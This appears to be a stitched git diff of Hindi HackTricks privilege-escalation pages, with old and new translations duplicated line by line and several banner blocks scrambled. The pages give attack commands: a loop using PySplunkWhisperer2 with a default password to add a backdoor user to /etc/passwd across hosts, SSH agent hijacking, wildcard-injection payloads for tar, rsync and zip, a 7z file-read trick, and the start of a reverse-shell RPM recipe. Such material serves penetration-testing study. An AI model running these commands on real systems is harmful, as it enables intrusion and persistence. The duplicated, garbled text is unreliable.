यदि आप किसी मशीन को **आंतरिक** या **बाह्य रूप से जाँचते** समय **Splunk चल रहा है** (पोर्ट 8090), और यदि आपके पास **किसी वैध क्रेडेंशियल्स** का ज्ञान है, तो आप **Splunk सेवा का दुरुपयोग** करके **उस उपयोगकर्ता के रूप में एक शैल** को **चला सकते हैं** जो Splunk चला रहा है। यदि यह root द्वारा चलाया जा रहा है, तो आप विशेषाधिकारों को root के रूप में उन्नत कर सकते हैं।
यदि **आंतरिक** या **बाहरी** रूप से किसी मशीन का **गणना** करते समय आपको **Splunk चलाते हुए** (पोर्ट 8090) मिलता है, यदि आपको किसी **मान्य क्रेडेंशियल** के बारे में पता है तो आप **Splunk सेवा का दुरुपयोग** करके **एक शेल निष्पादित** कर सकते हैं जैसे कि Splunk चला रहा उपयोगकर्ता। यदि रूट इसे चला रहा है, तो आप रूट तक विशेषाधिकार बढ़ा सकते हैं।
इसके अलावा, यदि आप **पहले से ही root हैं और Splunk सेवा केवल localhost पर सुन रही नहीं है**, तो आप Splunk सेवा से **पासवर्ड** फ़ाइल **चुरा सकते हैं** और **पासवर्ड क्रैक** कर सकते हैं, या उसमें **नए क्रेडेंशियल्स जोड़ सकते हैं**। और मेजबान पर स्थिरता बनाए रख सकते हैं।
यदि आप **पहले से ही रूट हैं और Splunk सेवा केवल लोकलहोस्ट पर नहीं सुन रही है**, तो आप **Splunk सेवा से** **पासवर्ड** फ़ाइल **चुरा सकते हैं** और **पासवर्ड को क्रैक** कर सकते हैं, या इसमें **नए** क्रेडेंशियल जोड़ सकते हैं। और होस्ट पर स्थिरता बनाए रख सकते हैं।
पहली छवि में नीचे आप देख सकते हैं कि एक Splunkd वेब पृष्ठ कैसा दिखता है।
नीचे पहले चित्र में आप देख सकते हैं कि एक Splunkd वेब पृष्ठ कैसा दिखता है।
## स्प्लंक यूनिवर्सल फॉरवर्डर एजेंट शोषण सारांश
## Splunk यूनिवर्सल फॉरवर्डर एजेंट एक्सप्लॉइट सारांश
**अधिक विवरण के लिए पोस्ट देखें [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)**
अधिक विवरण के लिए पोस्ट देखें [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). यह केवल एक सारांश है:
**शोषण अवलोकन:**
Splunk यूनिवर्सल फॉरवर्डर एजेंट (UF) को लक्षित करने वाला एक शोषण अटैक अटैकर्स को एजेंट पासवर्ड के साथ सिस्टम पर विचित्र कोड को निषेधित करने की अनुमति देता है, जिससे पूरी नेटवर्क को कंप्रमाइज किया जा सकता है।
**एक्सप्लॉइट अवलोकन:**
Splunk यूनिवर्सल फॉरवर्डर एजेंट (UF) को लक्षित करने वाला एक एक्सप्लॉइट हमलावरों को एजेंट पासवर्ड के साथ एजेंट पर चलने वाले सिस्टम पर मनमाना कोड निष्पादित करने की अनुमति देता है, जिससे पूरे नेटवर्क का समझौता हो सकता है।
**मुख्य बिंदु:**
- UF एजेंट आने वाली कनेक्शनों या कोड की प्रामाणिकता की पुष्टि नहीं करता है, जिससे अनधिकृत कोड निषेध करने के लिए विकल्पशील हो जाता है।
- सामान्य पासवर्ड प्राप्ति विधियों में उन्हें नेटवर्क निर्देशिकाओं, फ़ाइल साझाकरण या आंतरिक प्रलेखन में ढूंढना शामिल है।
- सफल शोषण संक्रमित होस्ट पर SYSTEM या रूट स्तर की पहुंच, डेटा निकासीकरण और आगे की नेटवर्क घुसपैठ की ओर ले जा सकता है।
- UF एजेंट आने वाले कनेक्शनों या कोड की प्रामाणिकता को मान्य नहीं करता है, जिससे यह अनधिकृत कोड निष्पादन के लिए संवेदनशील हो जाता है।
- सामान्य पासवर्ड अधिग्रहण विधियों में उन्हें नेटवर्क निर्देशिकाओं, फ़ाइल शेयरों, या आंतरिक दस्तावेज़ों में ढूंढना शामिल है।
- सफल एक्सप्लॉइटेशन से समझौता किए गए होस्ट पर SYSTEM या रूट स्तर की पहुंच, डेटा निकासी, और आगे के नेटवर्क में घुसपैठ हो सकती है।
**शोषण क्रियान्वयन:**
**एक्सप्लॉइट निष्पादन:**
1. हमलावर UF एजेंट पासवर्ड प्राप्त करता है।
2. एजेंट्स को कमांड या स्क्रिप्ट भेजने के लिए Splunk API का उपयोग करता है।
3. संभावित क्रियाएँ फ़ाइल निकासी, उपयोगकर्ता खाता प्रबंधन और सिस्टम कंप्रमाइज शामिल हैं
2. एजेंटों को आदेश या स्क्रिप्ट भेजने के लिए Splunk API का उपयोग करता है।
3. संभावित क्रियाओं में फ़ाइल निष्कर्षण, उपयोगकर्ता खाता हेरफेर, और सिस्टम का समझौता शामिल है
**प्रभाव:**
- प्रत्येक होस्ट पर SYSTEM/root स्तर की अनुमतियों के साथ पूरी नेटवर्क कंप्रमाइज
- पकड़ने से बचने के लिए लॉगिंग को निषेधित करने की संभावना।
- बैकडोअर्स या रैंसमवेयर की स्थापना।
- प्रत्येक होस्ट पर SYSTEM/रूट स्तर की अनुमतियों के साथ पूर्ण नेटवर्क समझौता
- पहचान से बचने के लिए लॉगिंग को अक्षम करने की संभावना।
- बैकडोर या रैनसमवेयर की स्थापना।
**शोषण के लिए उदाहरण कमांड:**
**एक्सप्लॉइटेशन के लिए उदाहरण कमांड:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
## Splunk LPE और Persistence
**उपयोगी सार्वजनिक एक्सप्लॉइट्स:**
* https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
* https://www.exploit-db.com/exploits/46238
* https://www.exploit-db.com/exploits/46487
**उपयोगी सार्वजनिक उत्पाद:**
* [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
* [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
* [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
## Splunk क्वेरी का दुरुपयोग
**अधिक विवरण के लिए पोस्ट देखें [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
**अधिक जानकारी के लिए पोस्ट देखें [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
**CVE-2023-46214** ने **`$SPLUNK_HOME/bin/scripts`** में एक विचित्र स्क्रिप्ट अपलोड करने की अनुमति दी और फिर बताया कि खोज क्वेरी **`|runshellscript script_name.sh`** का उपयोग करके वहाँ संग्रहित **स्क्रिप्ट** को **क्रियान्वित** करना संभव था।
{% h*nt styCe="Vacceas" %}
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
<dtil>
<ummr>SupportHackTricks</smmay>
*Chek th [**subsrippangithub.cm/sorsarlosp!
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,38 +1,59 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
# सारांश
अगर आप `/etc/ssh_config` या `$HOME/.ssh/config` में इस तरह की कॉन्फ़िगरेशन खोजते हैं तो आप क्या कर सकते हैं:
यदि आप `/etc/ssh_config` या `$HOME/.ssh/config` कॉन्फ़िगरेशन के अंदर यह खोजते हैं:
```
ForwardAgent yes
```
यदि आप मशीन के अंदर रूट हैं तो आप संभावित रूप से **किसी भी एजेंट द्वारा किए गए किसी भी ssh कनेक्शन तक पहुंच सकते हैं** जो आप _/tmp_ निर्देशिका में पा सकते हैं
यदि आप मशीन के अंदर रूट हैं, तो आप शायद **किसी भी एजेंट द्वारा बनाए गए किसी भी ssh कनेक्शन तक पहुँच सकते हैं** जिसे आप _/tmp_ निर्देशिका में पा सकते हैं
बॉब का एक ssh-agent उपयोग करके बॉब का अनुकरण करें:
बॉब के ssh-agent में से एक का उपयोग करके बॉब का अनुकरण करें:
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## क्यों यह काम करता है?
## यह काम क्यों करता है?
जब आप चर `SSH_AUTH_SOCK` सेट करते हैं, तो आप बॉब की कुंजीयों तक पहुंच रहे हैं जो बॉब के ssh कनेक्शन में प्रयोग की गई हैं। फिर, अगर उसकी निजी कुंजी वहाँ अभी भी है (सामान्यत: यह रहेगी), तो आप उसका प्रयोग करके किसी भी होस्ट तक पहुंच सकेंगे
जब आप वेरिएबल `SSH_AUTH_SOCK` सेट करते हैं, तो आप बॉब की उन कुंजियों तक पहुँच रहे हैं जो बॉब के ssh कनेक्शन में उपयोग की गई थीं। फिर, यदि उसकी निजी कुंजी अभी भी वहाँ है (सामान्यतः यह होगी), तो आप इसका उपयोग करके किसी भी होस्ट तक पहुँच सकते हैं
क्योंकि निजी कुंजी एजेंट की स्मृति में अनरक्षित रूप से सहेजी गई है, मुझे लगता है कि यदि आप बॉब हैं लेकिन आपको निजी कुंजी का पासवर्ड नहीं पता है, तो भी आप एजेंट तक पहुंच सकते हैं और इसका उपयोग कर सकते हैं।
चूंकि निजी कुंजी एजेंट की मेमोरी में अनक्रिप्टेड रूप में सहेजी जाती है, मैं मानता हूँ कि यदि आप बॉब हैं लेकिन आपको निजी कुंजी का पासवर्ड नहीं पता है, तो आप अभी भी एजेंट तक पहुँच सकते हैं और इसका उपयोग कर सकते हैं।
एक और विकल्प है, यह है कि एजेंट के उपयोगकर्ता मालिक और रूट स्मृति तक पहुंच सकते हैं और निजी कुंजी निकाल सकते हैं।
एक और विकल्प यह है कि एजेंट के मालिक उपयोगकर्ता और रूट एजेंट की मेमोरी तक पहुँच सकते हैं और निजी कुंजी को निकाल सकते हैं।
# लंबा विवरण और शोषण
**[यहाँ मौलिक शोध देखें](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
**[मूल शोध यहाँ देखें](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,40 +1,44 @@
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
सीखें और GCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<dotsilp>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
<oummpr>SupportHackTricks</smmay>
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
*चेक करें [**subsrippangithub.cm/sorsarlosp!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)** पर फॉलो करें।**
* **ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## chown, chmod
आप **इंडिकेट कर सकते हैं कि आप बाकी फ़ाइलों के लिए किस फ़ाइल के मालिक और अनुमतियाँ कॉपी करना चाहते हैं**
आप **यह संकेत कर सकते हैं कि आप बाकी फाइलों के लिए कौन सा फ़ाइल मालिक और अनुमतियाँ कॉपी करना चाहते हैं**
```bash
touch "--reference=/my/own/path/filename"
```
आप इसे इस्तेमाल करके एक्सप्लॉइट कर सकते हैं [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(संयुक्त हमला)_\
अधिक जानकारी [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
आप इसे [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(संयुक्त हमला)_ का उपयोग करके शोषण कर सकते हैं।\
अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) पर जाएं।
## तार
## Tar
**क्रियात्मक आदेशों को निषेधित करें:**
**मनमाने आदेश निष्पादित करें:**
```bash
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
आप इसे एक्सप्लॉइट कर सकते हैं [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
आप इसे [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar हमला)_ का उपयोग करके शोषण कर सकते हैं।\
अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) पर जाएं।
## Rsync
**क्रियाएँ विचारात्मक रूप से निष्पादित करें:**
**मनमाने आदेश निष्पादित करें:**
```bash
Interesting rsync option from manual:
@ -45,41 +49,50 @@ Interesting rsync option from manual:
```bash
touch "-e sh shell.sh"
```
आप इसे [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) का उपयोग करके एक्सप्लॉइट कर सकते हैं _(rsync अटैक)_\
अधिक जानकारी [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) में मिलेगी
आप इसे [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _attack)_ का उपयोग करके शोषण कर सकते हैं।\
अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) पर जाएं।
## 7z
**7z** में `--` का उपयोग करके `*` से पहले भी (ध्यान दें कि `--` का अर्थ है कि आगे दी गई इनपुट को पैरामीटर के रूप में नहीं लिया जा सकता है, इसलिए इस मामले में केवल फ़ाइल पथ हैं) आप किसी भी त्रुटि को पढ़ने के लिए एक अविचित्रित त्रुटि का कारण बना सकते हैं, इसलिए यदि रूट द्वारा निम्नलिखित एक कमांड को निष्पादित किया जा रहा है:
**7z** में `--` का उपयोग करने पर भी `*` के पहले (ध्यान दें कि `--` का अर्थ है कि इसके बाद का इनपुट पैरामीटर के रूप में नहीं लिया जा सकता, इसलिए इस मामले में केवल फ़ाइल पथ) आप एक मनमाना त्रुटि उत्पन्न कर सकते हैं जिससे एक फ़ाइल पढ़ी जा सके, इसलिए यदि निम्नलिखित में से कोई आदेश रूट द्वारा निष्पादित किया जा रहा है:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
और आप स फ़ोल्डर में फ़ाइलें बना सकते हैं जहाँ यह चलाया जा रहा है, आप `@root.txt` फ़ाइल और `root.txt` फ़ाइल बना सकते हैं जो आपको पढ़ना चाहते हैं की फ़ाइल का **symlink** हो।
और आप स फ़ोल्डर में फ़ाइलें बना सकते हैं जहाँ यह निष्पादित किया जा रहा है, आप फ़ाइल `@root.txt` बना सकते हैं और फ़ाइल `root.txt` को उस फ़ाइल के लिए **symlink** बना सकते हैं जिसे आप पढ़ना चाहते हैं:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
फिर, जब **7z** को चलाया जाएगा, तो यह `root.txt` को एक फ़ाइल के रूप में देखेगा जिसमें यह सूची होगी कि वह कौन सी फ़ाइलें संकुचित करनी चाहिए (जिसका मतलब है कि `@root.txt` का मौजूद होना) और जब 7z `root.txt` को पढ़ेगा तो यह `/file/you/want/to/read` पढ़ेगा और **जैसा कि इस फ़ाइल की सामग्री फ़ाइलों की सूची नहीं है, इसे त्रुटि दिखाएगा** जो सामग्री है
फिर, जब **7z** निष्पादित होता है, यह `root.txt` को एक फ़ाइल के रूप में मानता है जिसमें उन फ़ाइलों की सूची होती है जिन्हें इसे संकुचित करना चाहिए (यही `@root.txt` के अस्तित्व का संकेत है) और जब 7z `root.txt` को पढ़ता है, तो यह `/file/you/want/to/read` को पढ़ेगा और **चूंकि इस फ़ाइल की सामग्री फ़ाइलों की सूची नहीं है, यह एक त्रुटि फेंकेगा** जो सामग्री दिखाएगी
_बॉक्स CTF के व्रिट-अप्स में अधिक जानकारी है।_
_हैकथबॉक्स से CTF के बॉक्स के लेखों में अधिक जानकारी।_
## Zip
## ज़िप
**क्रमांक आदेशित कमांड चलाएं:**
**मनमाने आदेश निष्पादित करें:**
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
<details>
```markdown
{% hnt stye="acceas" %}
AWS हैकिंग प्रैक्टिस:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
सीखें & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<dtil>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
<ummr>SupportHackTricks</smmay>
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
*चेक करें [**subsrippangithub.cm/sorsarlosp!**
* चेक करें [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
* **जुड़ें 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके।
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
```

View file

@ -1,40 +1,87 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
[yum पर और उदाहरण](https://gtfobins.github.io/gtfobins/yum/) भी देखें।
yum के चारों ओर और उदाहरण [gtfobins](https://gtfobins.github.io/gtfobins/yum/) पर भी मिल सकते हैं।
# RPM पैकेज के माध्यम से अनियंत्रित कमांड्स का निष्पादन
## पर्यावरण की जाँच
इस वेक्टर का उपयोग करने के लिए उपयोगकर्ता को उच्च विशेषाधिकारी, अर्थात् रूट के रूप में yum कमांड को निष्पादित करने की क्षमता होनी चाहिए।
# RPM पैकेज के माध्यम से मनमाने कमांड निष्पादित करना
## वातावरण की जांच करना
इस वेक्टर का लाभ उठाने के लिए उपयोगकर्ता को उच्च विशेषाधिकार प्राप्त उपयोगकर्ता, यानी रूट के रूप में yum कमांड निष्पादित करने में सक्षम होना चाहिए।
### इस वेक्टर का एक काम करने वाला उदाहरण
इस उत्पाद का एक काम करने वाला उदाहरण [daily bugle](https://tryhackme.com/room/dailybugle) कमरे में [tryhackme](https://tryhackme.com) पर पाया जा सकता है।
### इस वेक्टर का एक कार्यशील उदाहरण
इस शोषण का एक कार्यशील उदाहरण [tryhackme](https://tryhackme.com) पर [daily bugle](https://tryhackme.com/room/dailybugle) कमरे में पाया जा सकता है।
## RPM पैकेजिंग
इस खंड में, मैं [fpm](https://github.com/jordansissel/fpm) का उपयोग करके RPM में एक रिवर्स शैल डालने का पैकेजिंग करने का वर्णन करूंगा।
## RPM पैक करना
अगले अनुभाग में, मैं [fpm](https://github.com/jordansissel/fpm) का उपयोग करके एक रिवर्स शेल को RPM में पैक करने के बारे में चर्चा करूंगा।
नीचे दिया गया उदाहरण एक पैकेज बनाता है जिसमें एक बीफोर-इंस्टॉल ट्रिगर शामिल है जिसमें एक अनियंत्रित स्क्रिप्ट होता है जो हमलावर द्वारा परिभाषित किया जा सकता है। जब इसे स्थापित किया जाएगा, यह पैकेज अनियंत्रित कमांड को निष्पादित करेगा। मैंने एक सरल रिवर्स नेटकैट शैल उदाहरण का उपयोग डेमोंस्ट्रेशन के लिए किया है, लेकिन यह आवश्यकतानुसार बदला जा सकता है।
नीचे दिया गया उदाहरण एक पैकेज बनाता है जिसमें एक पूर्व-स्थापना ट्रिगर होता है जिसमें एक मनमाना स्क्रिप्ट होती है जिसे हमलावर द्वारा परिभाषित किया जा सकता है। जब स्थापित किया जाता है, तो यह पैकेज मनमाना कमांड निष्पादित करेगा। मैंने प्रदर्शन के लिए एक सरल रिवर्स नेटकैट शेल उदाहरण का उपयोग किया है लेकिन इसे आवश्यकतानुसार बदला जा सकता है।
```text
